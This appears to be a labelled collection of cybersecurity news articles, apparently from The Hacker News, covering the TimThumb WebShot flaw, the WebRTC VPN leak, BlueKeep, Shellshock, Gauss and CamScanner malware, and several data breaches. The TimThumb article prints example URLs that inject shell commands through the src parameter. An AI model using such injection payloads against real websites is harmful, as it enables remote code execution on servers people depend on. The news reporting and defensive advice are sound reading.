She is cofounder of DEFCON Kids. CyFi is a ten-year-old hacker, artist and athlete living in California. She has spoken publicly numerous times, usually at art galleries as a member of "The American Show," an underground art collective based in San Francisco. CyFi's first gallery showing was when she was four. Last year she performed at the SF MOMA Museum in San Francisco. DEFCON Kids will be her first public vulnerability disclosure. CyFi's has had her identity stolen twice. She really likes coffee, but her mom doesn't let her drink it.
CyFi said, "It was hard to make progress in the game, because it took so long for things to grow. So I thought, 'Why don't I just change the time?'" Most of the games she discovered the exploit in have time-dependent factors. Manually advancing the phone or tablet's clock forced the game further ahead than it really was, opening up the exploit.
CyFi said that she discovered some ways around those detections. Disconnecting the phone from Wi-Fi made it harder to stop, as did making incremental clock adjustments. CyFi's mother, who must remain anonymous to protect her daughter's identity, told at the end of CyFi's presentation at DefCon Kids that they would offer a $100 reward to the young hacker who found the most games with this exploit over the following 24 hours. The reward is sponsored by AllClearID, a identity protection company that is also sponsoring the DefCon Kids.
CyFi revealed that she was only a little bit nervous about having to speak in front of the 100 or so expected attendees. She admitted that while it was probably different publicly speaking about a topic with such a specific focus, it would be hard for her to imagine what those differences might be. "Well, I haven't done it yet," she said.
| Vulnerability |
Zero-Day TimThumb WebShot Vulnerability leaves Thousands of Wordpress Blogs at Risk | https://thehackernews.com/2014/06/zero-day-timthumb-webshot-vulnerability.html | Yesterday we learned of a critical Zero-day vulnerability in a popular image resizing library called TimThumb, which is used in thousands WordPress themes and plugins.
WordPress is a free and open source blogging tool and a content management system (CMS) with more than 30,000 plugins, each of which offers custom functions and features enabling users to tailor their sites to their specific needs, therefore it is easy to setup and use, that's why tens of millions of websites across the world opt it.
But if you or your company are the one using the popular image resizing library called "TimThumb" to resize large images into usable thumbnails that you can display on your site, then you make sure to update the file with the upcoming latest version and remember to check the TimThumb site regularly for the patched update.
0-Day REMOTE CODE EXECUTION & NO PATCH
The critical vulnerability discovered by Pichaya Morimoto in the TimThumb Wordpress plugin version 2.8.13, resides in its "Webshot" feature that, when enabled, allows attackers to execute commands on a remote website.
The vulnerability allows an attacker to remotely execute arbitrary PHP code on the affected website. Once the PHP code has been executed, the website can be easily compromised in the way the attacker wants. Until now, there is no patch available for the flaw.
"With a simple command, an attacker can create, remove and modify any files on your server," says Security experts at Sucuri break in a blog post.
Using the following command, a hacker can create, delete and modify any files on your server:
https://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php?webshot=1&src=https://vulnerablesite.com/$(rm$IFS/tmp/a.txt)
https://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php??webshot=1&src=https://vulnerablesite.com/$(touch$IFS/tmp/a.txt)
WHO ARE VULNERABLE
Unfortunately, there are hundreds of other Wordpress plugins and themes, those are using TimThumb library by default. Some of theme are:
1.) TimThumb 2.8.13 Wordpress plugin
1.) WordThumb 1.07 is also using same vulnerable WebShot code.
2.) Wordpress Gallery Plugin
3.) IGIT Posts Slider Widget
4.) All Wordpress themes from Themify contains vulnerable wordthumb at "/themify/img.php" location.
The good news is that Timthumb comes with the webshot option disabled by default, so only those Timthumb installations are vulnerable to the flaw who have manually enabled the webshot feature.
CHECK AND DISABLE TIMTHUMB "WEBSHOT"
Open timthumb file inside your theme or plugin directory, usually located at "/wp-content/themes//path/to/timthumb.php"
Search for "WEBSHOT_ENABLED"
If the you find define ('WEBSHOT_ENABLED', true) , then set the value to "false", i.e. define ('WEBSHOT_ENABLED', false)
Unfortunately, similar multiple security flaws were discovered in TimThumb in the past, leaving millions of WordPress powered websites vulnerable to attack.
| Vulnerability |
WebRTC Vulnerability leaks Real IP Addresses of VPN Users | https://thehackernews.com/2015/02/webrtc-leaks-vpn-ip-address.html | An extremely critical vulnerability has recently been discovered in WebRTC (Web Real-Time Communication), an open-source standard that enables the browsers to make voice or video calls without needing any plug-ins.
AFFECTED PRODUCTS
Late last month, security researchers revealed a massive security flaw that enables website owner to easily see the real IP addresses of users through WebRTC, even if they are using a VPN or even PureVPN to mask their real IP addresses.
The security glitch affects WebRTC-supporting browsers such as Google Chrome and Mozilla Firefox, and appears to be limited to Windows operating system only, although users of Linux and Mac OS X are not affected by this vulnerability.
HOW DOES THE WebRTC FLAW WORKS
WebRTC allows requests to be made to STUN (Session Traversal Utilities for NAT) servers which return the "hidden" home IP-address as well as local network addresses for the system that is being used by the user.
The results of the requests can be accessed using JavaScript, but because they are made outside the normal XML/HTTP request procedure, they are not visible in the developer console. This means that the only requirement for this to work is WebRTC support in the browser and JavaScript.
CHECK YOURSELF NOW
A demonstration published by developer Daniel Roesler on GitHub allows people to check if they are affected by the security glitch.
Also, you can go through the following steps in order to check if you're affected:
Connect to ExpressVPN
Visit https://ipleak.net
If your browser is secure, you should see something like this:
If your browser is affected by this issue, you'll see information about your true IP address in the WebRTC section.
HOW TO PROTECT YOURSELF
Luckily the critical security flaw is quite easy to fix.
For Chrome users :
Google Chrome and other Chromium-based browser users can install the WebRTC Block extension or ScriptSafe, which both reportedly block the vulnerability.
For Firefox Users :
In case of Firefox, the only extensions that block these look ups are JavaScript blocking extensions such as NoScript. To fix, try the following steps:
Type about:config in the browser's address bar and hit enter.
Confirm you will be careful if the prompt appears.
Search for media.peerconnection.enabled.
Double-click the preference to set it to false.
This turns of WebRTC in Firefox.
| Vulnerability |
Boys Town Healthcare Data Breach Exposed Personal Details of Patients | https://thehackernews.com/2018/07/data-breach-healthcare.html | Another day, Another data breach!
This time-sensitive and personal data of hundreds of thousands of people at Boys Town National Research Hospital have been exposed in what appears to be the largest ever reported breach by a pediatric care provider or children's hospital.
According to the U.S. Department of Health and Human Services Office for Civil Rights, the breach incident affected 105,309 individuals, including patients and employees, at the Omaha-based medical organization.
In a "Notice of Data Security Incident" published on its website, the Boys Town National Research Hospital admitted that the organization became aware of an abnormal behavior regarding one of its employees' email account on May 23, 2018.
After launching a forensic investigation, the hospital found that an unknown hacker managed to infiltrate into the employee's email account and stole personal information stored within the email account as a result of unauthorized access.
The hacker accessed the personal and medical data of more than 100,000 patients and employees, including:
Name
Date of birth
Social Security number
Diagnosis or treatment information
Medicare or Medicaid identification number
Medical record number
Billing/claims information
Health insurance information
Disability code
Birth or marriage certificate information
Employer Identification Number
Driver's license number
Passport information
Banking or financial account number
Username and password
With this extensive information in hand, it's most likely that hackers are already selling personal information of victims on the dark web or attempting to carry out further harm to them, particularly child patients at the hospital.
However, The Boys Town National Research Hospital says it has not received any reports of the misuse of the stolen information so far.
"Boys Town takes this incident and the security of personal information seriously. Upon learning of this incident, Boys Town moved quickly to confirm whether personal information may have been affected by this incident, to identify the individuals related to this personal information, to put in place resources to assist them, and to provide them with notice of this incident," the hospital says.
The hospital has also reported the incident to law enforcement and is notifying state and federal regulators, along with potentially affected individuals. Boys Town has also promised to offer affected individuals access to 12 months of free identity protection services.
Boys Town hospital is also reviewing its existing policies and procedures and is implementing some additional security measures to safeguard its users' information stored in its systems.
However, victims are highly recommended to monitor their accounts for any fraudulent transaction and should consider placing a credit freeze request. Here's how you can freeze credit report to protect yourself against identity theft.
For additional information related to the incident, you can call 1-855-686-9425 (toll-free), Monday through Saturday from 8:00 a.m. to 8:00 p.m. CT.
| Cyber_Attack |
Gauss Malware Detection Tool released by Iranian CERT | https://thehackernews.com/2012/09/gauss-malware-detection-tool-released.html | Iranian National Computer Emergency Response Team releases a tool for Gauss malware detection. Cyber surveillance virus has been found in the Middle East that can spy on banking transactions and steal login and passwords, according Kaspersky Lab, a leading computer security firm.
Gauss primarily infects 32-bit versions of Windows, though a separate spy module for USB drives can collect information from 64-bit systems. Infections are mainly split between Windows 7 and Windows XP, although some of the Gauss modules don't work against Windows 7 Service Pack 1. Mac and Linux machines appear to be safe.
Multiple modules of Gauss serve the purpose of collecting information from browsers, which include the history of visited websites and passwords. Detailed data on the infected machine is also sent to the attackers, including specifics of network interfaces, the computer's drives and BIOS information.
The Gauss module is also capable of stealing data from the clients of several Lebanese banks including the Bank of Beirut, EBLF, BlomBank, ByblosBank, FransaBank and Credit Libanais. It also targets users of Citibank and PayPal.
Download Gauss Malware Detection Tool from Iran CERT.
Another Similar Tools are : Kaspersky virus removal tool, or use a Web page provided by Hungarian research lab CrySyS to scan for the virus. The CrySyS page will check your system for Palida Narrow, a font associated with Gauss.
| Malware |
New Internet Explorer Zero-Day Vulnerability Publicly Disclosed; Identified in October 2013 | https://thehackernews.com/2014/05/internet-explorer-zero-day.html | Oh Microsoft, How could you do this to your own Internet Explorer? Microsoft had kept hidden a critical Zero-Day vulnerability of Internet explorer 8 from all of us, since October 2013.
A Critical zero-day Internet Explorer vulnerability (CVE-2014-1770), which was discovered by Peter 'corelanc0d3r' Van Eeckhoutte in October 2013 just goes public today by the Zero Day Initiative (ZDI) website.
Zero Day Initiative is a program for rewarding security researchers for responsibly disclosing vulnerabilities. ZDI reportedly disclosed the vulnerability to Microsoft when it was first identified by one of its researchers, on which Microsoft responded 4 month later on February 2014 and confirmed the flaw, but neither the Microsoft patch the vulnerability nor it disclosed any details about it.
But due to ZDI's 180 days public notification policy, they are obligated to publicly disclosed the details of a Zero-Day vulnerability. ZDI warned Microsoft several days ago about the pending public disclosure of the flaw after it completed 180 days as on April, but apparently Microsoft didn't respond to it.
According to the ZDI Security Advisory, the vulnerability is a zero day remote code execution flaw that affects the Internet Explorer version 8 and allows a remote attacker to execute arbitrary code through a bug in CMarkup objects.
In a web-based attack scenario, an attacker could leverage the Vulnerability through compromise websites and by clicking on email attachments. To perform successful web-based attacks, an attacker can host specially crafted content on the compromised websites that could trigger the reported vulnerability.
"In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by getting them to click a link in an email message or in an Instant Messenger message that takes users to the attacker's website, or by getting them to open an attachment sent through email," reads the ZDI post.
By successful exploitation of the flaw, an attacker could gain the same user rights as the current user on the compromised system and victim 'users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.'
If you are using Microsoft Outlook, Microsoft Outlook Express, or Windows Mail to open HTML emails, then it automatically disables the Script and ActiveX controls, that helps reduce the risk of an attacker being able to use these vulnerabilities to execute malicious code.
But once the user clicks any malicious link attached with the email messages, he or she would fall victim for the exploitation of these vulnerabilities through the web-based attacks.
Moreover, Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2 users should not worry if they have Enhanced Security Configuration enabled on their Internet Explorer, because this mode mitigates these vulnerabilities.
The vulnerability has not been addressed by Microsoft and no patch is available yet for this critical zero day vulnerability, so Internet Explorer user are still vulnerable to the zero-day attack.
You are advised to block ActiveX Controls and Active Scripting and also install EMET (Enhanced Mitigation Experience Toolkit), that enable you to manage security mitigation technologies that help make it more difficult for attackers to exploit vulnerabilities in a given piece of software.
Just few days back, a similar remote code execution vulnerability in the Internet Explorer that affected almost all the versions of IE was reported by the security firm FireEye.
| Vulnerability |
These Top 7 Brutal Cyber Attacks Prove 'No One is Immune to Hacking' — Part II | https://thehackernews.com/2015/09/top-cyber-attacks-2.html | In Part I of this two-part series from The Hacker News, the First Four list of Top Brutal Cyber Attacks shows that whoever you are, Security can never be perfect.
As attackers employ innovative hacking techniques and zero-day exploits, the demand for increased threat protection grows.
In this article, I have listed another three cyber attacks, as following:
#5 Car Hacking
Driving a car is a network's game now!
'Everything is hackable,' but is your car also vulnerable to Hackers?
General Motors' OnStar application and cars like Jeep Cherokee, Cadillac Escalade, Toyota Prius, Dodge Viper, Audi A8 and many more come equipped with more advanced technology features.
These cars are now part of the technology very well known as the "Internet of Things".
Recently two Security researchers, Chris Valasek and Charlie Miller demonstrated that Jeep Cherokee could be hacked wirelessly over the internet to hijack its steering, brakes, and transmission.
The OnStar application is an inbuilt unit attached to the interior, rearview mirror of the car with features such as remotely unlocking cars and starting the engines.
Similarly, Jeep manufactured Jeep Cherokee's latest model is the fourth generation car fully equipped with the latest technology advancements.
In the recent incidents, Jeep Cherokee, as well as OnStar's application, were hacked leaving the cars as the slaves of the hackers and prone to accidents.
A security flaw in the car's entertainment system was compromised by two white hat hackers: Charlie Miller and Chris Valasek. The flaw allowed the hackers to inject malware into the system for remote control from miles away.
The hackers were able to turn up the music volume to the maximum and start the windshield wipers remotely while they were '10 miles away'.
An outrageous act they did was cutting off the transmission and disconnected the brakes that led the car crash into a ditch.
Reports say that both Jeep Cherokee and Escalade have an inherent security flaw. This is such:
The cars' apps, Bluetooth and telematics connecting the car to a cellular network like OnStar are on the same network as the engine controls, brakes, steerings and tire pressure monitor system.
Miller and Valasek said a car's networked system could be an easy gateway for the hackers to come in with just the use of their mobile phones and a laptop.
What they need to do is just know the car's IP address, and they can break into its system through a wireless internet connection.
#6 Data Breach at US Government Office of Personnel Management
United States Office of Personnel Management (US OPM) is an independent agency of the United States that works to recruit, retain and honor a world-class workforce for the American people.
The US OPM became a victim of a cyber attack twice that led to a data breach, compromising personal information of some 21.5 million related to current and former federal workers.
Hackers accessed sensitive data of US government officials that could be used for identity theft and cyber-espionage.
The stolen data included Social Security Numbers, employment history, residency and educational history, criminal and financial history, fingerprints, information about health, personal and business acquaintances.
Some stolen records also include findings from interviews conducted by background investigators that discussed sexual assaults and drug, mental health treatments and alcohol addictions.
Investigations reveal that China-based hackers were behind the data breaches at the Office of Personnel Management (OPM).
#7 Anthem Data Breach
Anthem Insurance Inc., previously known as WellPoint Inc, was a victim of a massive cyber attack in February.
Back in February, Cyber attackers executed a very sophisticated attack to gain unauthorized access to the company's IT systems that had database of some 80 million people and obtained personal identifiable information (PII) relating to its consumers and employees.
The information accessed included:
Names,
Birthdays,
Social security numbers,
Email addresses
Employment information, including income data
The hackers gained access to Anthem's data by stealing the network credentials of at least five of its employees with high-level IT access.
The path may have been "Phishing", in which a fraudulent e-mail could have been used to trick employees into revealing their network ID and password, or into unknowingly downloading software code that gives the hackers long-term access to Anthem's IT environment.
The company informed millions of its affected customers of the massive data breach that potentially exposed the personal information of its former as well as current customers.
Anthem appointed Mandiant, world's leading cyber security organization, to evaluate the scenario and provide necessary solutions.
This is just the beginning...
These are just seven; there are many more! And it could reach you too.
The power of the cyberspace and the criminals hovering over it should not be underrated.
Chucking such happenings where your personal data is at risk and being irrational is not the solution rather it is the beginning of activities that will bother you big time in the future.
The cyberspace is like a dope that is capable of psychoactive effects. A proactive thinking and approach will take you ahead of the people on the other end.
Take the time to ponder over the incidents and respond wisely is all we have to say!
| Cyber_Attack |
Another Google Chrome 0-Day Bug Found Actively Exploited In-the-Wild | https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html | Google has addressed yet another actively exploited zero-day in Chrome browser, marking the second such fix released by the company within a month.
The browser maker on Friday shipped 89.0.4389.90 for Windows, Mac, and Linux, which is expected to be rolling out over the coming days/weeks to all users.
While the update contains a total of five security fixes, the most important flaw rectified by Google concerns a use after free vulnerability in its Blink rendering engine. The bug is tracked as CVE-2021-21193.
Details about the flaw are scarce except that it was reported to Google by an anonymous researcher on March 9.
According to IBM, the vulnerability is rated 8.8 out of 10 on the CVSS scale, and could allow a remote attacker to execute arbitrary code on the target system. "By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service condition on the system," the report stated.
As is usually the case with actively exploited flaws, Google issued a terse statement acknowledging that an exploit for CVE-2021-21193 existed but refrained from sharing additional information until a majority of users are updated with the fixes and prevent other threat actors from creating exploits targeting this zero-day.
"Google is aware of reports that an exploit for CVE-2021-21193 exists in the wild," Chrome Technical Program Manager Prudhvikumar Bommana noted in a blog post.
With this update, Google has fixed three zero-day flaws in Chrome since the start of the year.
Earlier this month, the company issued a fix for an "object lifecycle issue in audio" (CVE-2021-21166) which it said was being actively exploited. Then on February 4, the company resolved another actively-exploited heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine.
Chrome users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.
| Vulnerability |
Java based cross platform malware found in wild | https://thehackernews.com/2013/08/Cross-platform-malware-java-hacking-tool.html | Other than Windows, Now other platforms are becoming more popular every day and attracting bad guys who are starting to create malicious code for other systems.
Java applications can run on multiple platforms with ease, thus no surprise that malicious code written in Java that is designed to target more than one operating system are becoming increasingly common.
Researchers at McAfee Labs spotted another sample of Java based trojan dubbed as JV/BackDoor-FAZY that opens a back door for an attacker to execute commands and acts as a bot after infection.
According to researcher, The key to decrypt the config file was encrypted with Base 64, Triple-DES algorithm and Hex. Decrypting the file provides information about the backdoor connection, includes IP address, port number, operating system, mutex information, and password for the connection.
"On execution, the JAR file opens the backdoor connection to the IP address and the port mentioned in the plain config file. Once the backdoor connection is made, the compromised user environment will act as the server and the attacker will be the client. The attacker can now take control of the victim's system and can execute any commands." blog post said.
Such malicious file can be bundled with a legitimate file and can be dropped and executed in the background, without the user consent and can copy itself to all available drives on the system and allows hackers to record the user screen, keystrokes, access to command prompt, downloading & execute other binary files or using the system to DDoS using HTTP POST and GET requests.
Multi-platform malware is not entirely new, but with the increasing popularity of Apple products and systems running Linux, there is an incentive for malware authors to save time and resources by developing strains that are capable of infecting multiple operating systems.
| Malware |
New Cold Boot Attack Unlocks Disk Encryption On Nearly All Modern PCs | https://thehackernews.com/2018/09/cold-boot-attack-encryption.html | Security researchers have revealed a new attack to steal passwords, encryption keys and other sensitive information stored on most modern computers, even those with full disk encryption.
The attack is a new variation of a traditional Cold Boot Attack, which is around since 2008 and lets attackers steal information that briefly remains in the memory (RAM) after the computer is shut down.
However, to make the cold boot attacks less effective, most modern computers come bundled with a safeguard, created by the Trusted Computing Group (TCG), that overwrites the contents of the RAM when the power on the device is restored, preventing the data from being read.
Now, researchers from Finnish cyber-security firm F-Secure figured out a new way to disable this overwrite security measure by physically manipulating the computer's firmware, potentially allowing attackers to recover sensitive data stored on the computer after a cold reboot in a matter of few minutes.
"Cold boot attacks are a known method of obtaining encryption keys from devices. But the reality is that attackers can get their hands on all kinds of information using these attacks. Passwords, credentials to corporate networks, and any data stored on the machine are at risk," the security firm warns in a blog post published today.
Video Demonstration of the New Cold Boot Attack
Using a simple tool, researchers were able to rewrite the non-volatile memory chip that contains the memory overwrite settings, disable it, and enable booting from external devices. You can also watch the video demonstration performing the attack below.
Like the traditional cold boot attack, the new attack also requires physical access to the target device as well as right tools to recover remaining data in the computer's memory.
"It's not exactly easy to do, but it is not a hard enough issue to find and exploit for us to ignore the probability that some attackers have already figured this out," says F-Secure principal security consultant Olle Segerdahl, one the two researchers.
"It's not exactly the kind of thing that attackers looking for easy targets will use. But it is the kind of thing that attackers looking for bigger phish, like a bank or large enterprise, will know how to use."
How Microsoft Windows and Apple Users Can Prevent Cold Boot Attacks
According to Olle and his colleague Pasi Saarinen, their new attack technique is believed to be effective against nearly all modern computers and even Apple Macs and can't be patched easily and quickly.
The two researchers, who will present their findings today at a security conference, say they have already shared their findings with Microsoft, Intel, and Apple, and helped them explore possible mitigation strategies.
Microsoft updated its guidance on Bitlocker countermeasures in response to the F-Secure's findings, while Apple said that its Mac devices equipped with an Apple T2 Chip contain security measures designed to protect its users against this attack.
But for Mac computers without the latest T2 chip, Apple recommended users to set a firmware password in order to help harden the security of their computers.
Intel has yet to comment on the matter.
The duo says there's no reliable way to "prevent or block the cold boot attack once an attacker with the right know-how gets their hands on a laptop," but suggest the companies can configure their devices so that attackers using cold boot attacks won't find anything fruitful to steal.
Meanwhile, the duo recommends IT departments to configure all company computers to either shut down or hibernate (not enter sleep mode) and require users to enter their BitLocker PIN whenever they power up or restore their PCs.
Attackers could still perform a successful cold boot attack against computers configured like this, but since the encryption keys are not stored in the memory when a machine hibernates or shuts down, there will be no valuable information for an attacker to steal.
| Vulnerability |
iBanking Android Malware targeting Facebook Users with Web Injection techniques | https://thehackernews.com/2014/04/ibanking-android-malware-targeting.html | iBanking is nothing but a mobile banking Trojan app which impersonates itself as a so-called 'Security App' for Android devices and distributed through HTML injection attacks on banking sites, in order to deceive its victims.
Recently, its source code has been leaked online through an underground forum that gave the opportunities to a larger number of cyber criminals to launch attacks using this kind of ready-made mobile malware.
The malicious iBanking app installed on victims' phone has capabilities to spy on user's communications. The bot allows an attacker to spoof SMS, redirect calls to any pre-defined phone number, capture audio using the device's microphone and steal other confidential data like call history log and the phone book contacts.
According to new report from ESET security researchers, now this iBanking Trojan (Android/Spy.Agent.AF) is targeting Facebook users by tricking them to download a malware application.
The malware uses JavaScript web injection method to create a fake Facebook Verification page for Facebook users, as shown:
Injected fake verification page prompts users to enter their mobile number in order to verify the Facebook account authenticity, and then shows the following page if he indicates that his mobile is running Android.
Next fake page asks victim to download an Android app from the shown URL or using QR code method, if SMS somehow fails to reach the user's phone. Once downloaded and installed, the malware connects to its command-and-control server that allows attackers to issue commands to each infected device.
Facebook also has two-factor authentication features for quite a long time, but this is the very first time when Facebook users are targeted by iBanking Trojan. The reason may be an increasing number of people using it.
Since many banking sites use two-factor authentication and transaction authorization systems in order to deal with the various threats, but in order to bypass two factor authentication, cyber criminals have started to create various mobile malware like iBanking to solve their purpose.
iBanking Trojan can be used in conjunction with any malware in order to inject code into a webpage and is generally used to redirect incoming SMS messages to bypass two-factor authentication.
It is always important to treat third-party apps with a healthy dose of suspicion and skepticism as cybercriminals are always out there to hijack your every device.
Don't just download any app from any source you happen to encounter and before installing a new app, just check out the reputation of both the app and the publisher. In order to prevent direct installations, go to your Android device's Applications Settings menu and disable the "unknown sources" option for installing apps.
Stay Safe!
| Malware |
WARNING — Malware Found in CamScanner Android App With 100+ Million Users | https://thehackernews.com/2019/08/android-camscanner-malware.html | Beware! Attackers can remotely hijack your Android device and steal data stored on it, if you are using free version of CamScanner, a highly-popular Phone PDF creator app with more than 100 million downloads on Google Play Store.
So, to be safe, just uninstall the CamScanner app from your Android device now, as Google has already removed the app from its official Play Store.
Unfortunately, CamScanner has recently gone rogue as researchers found a hidden Trojan Dropper module within the app that could allow remote attackers to secretly download and install malicious program on users' Android devices without their knowledge.
However, the malicious module doesn't actually reside in the code of CamScanner Android app itself; instead, it is part of a 3rd-party advertising library that recently was introduced in the PDF creator app.
Discovered by Kaspersky security researchers, the issue came to light after many CamScanner users spotted suspicious behavior and posted negative reviews on Google Play Store over the past few months, indicating the presence of an unwanted feature.
"It can be assumed that the reason why this malware was added was the app developers' partnership with an unscrupulous advertiser," the researchers said.
The analysis of the malicious Trojan Dropper module revealed that the same component was also previously observed in some apps pre-installed on Chinese smartphones.
"The module extracts and runs another malicious module from an encrypted file included in the app's resources," researchers warned.
"As a result, the owners of the module can use an infected device to their benefit in any way they see fit, from showing the victim intrusive advertising to stealing money from their mobile account by charging paid subscriptions."
Kaspersky researchers reported its findings to Google, who promptly removed the CamScanner app from its Play Store, but they say "it looks like app developers got rid of the malicious code with the latest update of CamScanner."
Despite this, the researchers advised users to just keep in mind "that versions of the app vary for different devices, and some of them may still contain malicious code."
It should be noted that since the paid version of the CamScanner app doesn't include the 3rd-party advertising library and thus the malicious module, it is not affected and is still available on the Google Play Store.
Although Google has stepped up its efforts to remove potentially harmful apps from Play Store in the last few years and added more stringent malware checks for new apps, legitimate apps can go rogue overnight to target millions of its users.
"What we can learn from this story is that any app — even one from an official store, even one with a good reputation, and even one with millions of positive reviews and a big, loyal user base —can turn into malware overnight," the researchers concluded.
Therefore, you are strongly advised to always keep a good antivirus app on your Android device that can detect and block such malicious activities before they can infect your device.
In addition, always look at the app reviews left by other users who have downloaded the app, and also verify app permissions before installing any app and grant only those permissions that are relevant for the app's purpose.
For more technical detail about the Trojan Dropper malware found in CamScanner and a full list of its indicators of compromise (IOCs) including MD5 hashes and its command and control server domains, you can head on to Kaspersky's report.
| Malware |
20 Million Credit Cards stolen in South Korea; 40% Population affected by the Data Leak | https://thehackernews.com/2014/01/bank-data-and-credit-card-details-of-20.html | Since all threats to data security and privacy often come from outside, but internal threats are comparatively more dangerous and a difficult new dimension to the data loss prevention challenge i.e. Data Breach. The "Insider threats" have the potential to cause greater financial losses than attacks that originate outside the company.
This is what happened recently with three credit card firms in South Korea, where the financial and personal data belonging to users of at least 20 million, in a country of 50 million, was stolen by an employee, who worked as a temporary consultant at Korean Credit Bureau (KCB).
"Confidential data of customers ranging from the minister-level officials to celebrities, including their phone numbers, addresses, credit card numbers, and even some banking records, have been leaked from Kookmin Bank, Shinhan Bank and several other commercial banks",
The stolen data includes the bank account numbers, customers' names, social security numbers, phone numbers, credit card numbers and expiration dates, according to the estimate by the Financial Supervisory Service (FSS).
The arrested employee behind the theft, later sold the data to phone marketing companies, whose managers were also arrested earlier this month.
"The credit card firms will cover any financial losses caused to their customers due to the latest accident," the FSS said and assured that the Regulators have launched investigations into security measures at the affected firms.
"Their parent firms seem to be taking a step back (from the issue) and not showing any responsible attitude, We will hold them fully responsible for the data leak if their sharing of client data among affiliates and internal control turn out to be the cause."
Now this is not the first time when a company is facing data breach because of Insider Threat, last month an employee of Citibank Korea was arrested for stealing the personal data of 34,000 customers. In 2012, two South Korean hackers were arrested for data from 8.7 million customers in the nation's second-biggest mobile operator.
| Data_Breaches |
First Cyber Attack 'Mass Exploiting' BlueKeep RDP Flaw Spotted in the Wild | https://thehackernews.com/2019/11/bluekeep-rdp-vulnerability.html | Cybersecurity researchers have spotted a new cyberattack that is believed to be the very first but an amateur attempt to weaponize the infamous BlueKeep RDP vulnerability in the wild to mass compromise vulnerable systems for cryptocurrency mining.
In May this year, Microsoft released a patch for a highly-critical remote code execution flaw, dubbed BlueKeep, in its Windows Remote Desktop Services that could be exploited remotely to take full control over vulnerable systems just by sending specially crafted requests over RDP.
BlueKeep, tracked as CVE-2019-0708, is a wormable vulnerability because it can be weaponized by potential malware to propagate itself from one vulnerable computer to another automatically without requiring victims' interaction.
BlueKeep has been considered to be such a serious threat that since its discovery, Microsoft and even government agencies [NSA and GCHQ] had continuously been encouraging Windows users and admins to apply security patches before hackers gain hold onto their systems.
Even many security firms and individual cybersecurity researchers who successfully developed a fully working exploit for BlueKeep pledged not to release it to the public for a greater good—especially because nearly 1 million systems were found vulnerable even a month after patches were released.
This is why amateur hackers took almost six months to come up with a BlueKeep exploit that is still unreliable and doesn't even have a wormable component.
BlueKeep Exploit Spreads Cryptocurrency Malware
The BlueKeep exploitation in the wild was first speculated by Kevin Beaumont on Saturday when his multiple EternalPot RDP honeypot systems got crashed and rebooted suddenly.
Marcus Hutchins, the researcher who helped stop the WannaCry ransomware outbreak in 2017, then analysed the crash dumps shared by Beaumont and confirmed "BlueKeep artifacts in memory and shellcode to drop a Monero Miner."
In a blog post published today, Hutchins said, "Finally, we confirm this segment [in crash dump] points to executable shellcode. At this point, we can assert valid BlueKeep exploit attempts in the wild, with shellcode that even matches that of the shellcode in the BlueKeep Metasploit module!"
The exploit contains encoded PowerShell commands as the initial payload, which then eventually downloads the final malicious executable binary from a remote attacker-controlled server and executes it on the targeted systems.
According to Google's VirusTotal malware scanning service, the malicious binary is cryptocurrency malware that mines Monero (XMR) using the computing power of infected systems to generate revenue for attackers.
But It's Not Wormable Attack!
Hutchins also confirmed that the malware spread by this BlueKeep exploit doesn't contain any self-spreading capabilities to jump unassisted from one computer to another.
Instead, it appears that the unknown attackers are first scanning the Internet to find vulnerable systems and then exploiting them.
In other words, without a wormable component, the attackers would be able to only compromise vulnerable systems that are directly connected to the Internet, but not those that are internally-connected and reachable from them.
Though sophisticated hackers might have already been exploiting the BlueKeep flaw to stealthy compromise targeted victims, fortunately, the flaw has not yet been exploited at a larger scale, like WannaCry or NotPetya wormable attacks, as speculated initially.
However, at the time of writing, it's unclear how many BlueKeep vulnerable Windows systems have been compromised in the latest cyberattacks to deploy the Monero miner in the wild.
To protect yourself? Let me try this again—Go and fix the goddamn vulnerability if you are or your organisation is still using BlueKeep vulnerable Windows systems.
If fixing the vulnerability in your organisation is not possible anytime sooner, then you can take these mitigations:
Disable RDP services, if not required.
Block port 3389 using a firewall or make it accessible only over a private VPN.
Enable Network Level Authentication (NLA) – this is partial mitigation to prevent any unauthenticated attacker from exploiting this Wormable flaw.
| Cyber_Attack |
The Bash Vulnerability: How to Protect your Environment | https://thehackernews.com/2014/10/the-bash-vulnerability-how-to-protect_23.html | A recently discovered hole in the security of the Bourne-Again Shell (bash) has the majority of Unix/Linux (including OS X) admins sweating bullets. You should be, too--attackers have already developed exploits to unleash on unpatched web servers, network services and daemons that use shell scripts with environment variables (this can include network equipment, industrial devices, etc.)
Jaime Blasco, AlienVault Labs Director, gives a good explanation of the exploit in this blog post. And, the video below gives you a quick overview of how AlienVault Unified Security Management (USM) can detect malicious traffic on your network trying to locate and exploit this vulnerability.
Basically, this vulnerability allows an attacker to execute shell commands on a server due to an issue in how bash interprets environment variables (such as "cookie", "host", "referrer"). Exploiting this allows an attacker to run shell commands directly. Once they have access to run shell commands, they own the server.
What can I do?
If you're already sanitizing inputs across your web applications to protect against SQL injection and cross-site scripting, you're on the right track. This will give you at least a basic defense.
While CGI is still around on most sites, it is usually restricted to little bits of code that have been around for years. These bits of code have probably not updated under the rule-of-thumb "If it ain't broke, don't fix it."
Well – guess what? It's broke. Fix it. It's time to find an alternative. But, in the mean time, it's a good idea to disable any CGI that calls on the shell.
Some have recommended using something other than bash in your applications (Dash, Fish, Zsh, Csh, etc) but be sure to put some thought and careful planning into that instead of a knee-jerk 'rip and replace'. Certain shells might work differently or even be missing some of the bash functionality that your applications rely on, rendering them inoperable.
The real fix is going to be patching of bash itself, either from the developers of the distribution you use, or, (if you're savvy) via your own compiled code. Until then, the steps mentioned above are good first steps to defending yourself.
How can AlienVault help?
AlienVault Unified Security Management (USM) provides asset discovery, vulnerability assessment, threat detection (IDS), behavioral monitoring and SIEM in a single console, giving you everything you need to detect vulnerabilities like Bash, and attempted exploits.
With AlienVault USM you can:
Discover and inventory your network assets automatically
Scan for thousands of vulnerabilities, including Bash
Detect attacks and activity with known malicious hosts
